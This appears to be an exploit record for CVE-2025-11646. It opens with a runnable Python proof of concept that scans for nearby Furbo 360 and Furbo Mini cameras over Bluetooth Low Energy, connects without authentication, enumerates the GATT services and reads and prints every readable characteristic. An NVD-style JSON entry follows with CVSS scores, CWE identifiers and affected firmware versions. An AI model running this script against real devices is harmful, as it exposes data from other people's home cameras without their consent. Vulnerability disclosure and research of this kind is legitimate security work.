CVE-2025-11646

# CVE-2025-11646 PoC - Furbo GATT Service Information Disclosure # Exploits improper access control in GATT Service # Affected: Furbo 360 <= FB0035_FW_036, Furbo Mini <= MC0020_FW_074 import asyncio from bleak import BleakScanner, BleakClient # Target GATT service and characteristic UUIDs TARGET_DEVICE_NAMES = ["Furbo 360", "Furbo Mini"] # P2P UUID information disclosure target GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Generic GATT service P2P_CHARACTERISTIC_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # P2P UUID characteristic async def scan_furbo_devices(): """Scan for nearby Furbo devices via BLE""" print("[*] Scanning for Furbo devices...") devices = await BleakScanner.discover() furbo_devices = [] for device in devices: if any(name in (device.name or "") for name in TARGET_DEVICE_NAMES): print(f"[+] Found Furbo device: {device.name} [{device.address}]") furbo_devices.append(device) return furbo_devices async def exploit_gatt_service(device): """Exploit improper access control in GATT service to read P2P UUID""" print(f"[*] Connecting to {device.name} at {device.address}") async with BleakClient(device.address) as client: print(f"[+] Connected: {client.is_connected}") # Enumerate all GATT services (no authentication required due to vulnerability) services = await client.get_services() for service in services: print(f"[*] Service: {service.uuid}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - Properties: {char.properties}") # Attempt to read P2P UUID characteristic without authorization if "read" in char.properties: try: value = await client.read_gatt_char(char.uuid) print(f"[+] Disclosed data from {char.uuid}: {value.hex()}") except Exception as e: print(f"[-] Read failed: {e}") async def main(): furbo_devices = await scan_furbo_devices() if furbo_devices: for device in furbo_devices: await exploit_gatt_service(device) else: print("[-] No Furbo devices found in range") if __name__ == "__main__": asyncio.run(main())

{"cve": {"id": "CVE-2025-11646", "sourceIdentifier": "[email protected]", "published": "2025-10-12T21:15:33.520", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Tomofun Furbo 360 and Furbo Mini. This vulnerability affects unknown code of the component GATT Service. The manipulation results in improper access controls. The attack can only be performed from the local network. The exploit is now public and may be used. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_mini_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "074", "matchCriteriaId": "06B19876-699B-455F-945F-AF26C60BF965"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_mini:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F549356-AF78-447C-8689-D9DD1A9202DC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "036", "matchCriteriaId": "6DDA1333-73CD-494A-8DD3-9543FDFD47A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_360_dog_camera:*:*:*:*:*:*:*:*", "matchCriteriaId": "08CA8E77-413F-4849-A110-49DB5DDA29C5"}]}]}], "references": [{"url": "https://github.com/dead1nfluence/Furbo-Advisories/blob/main/Informat ... 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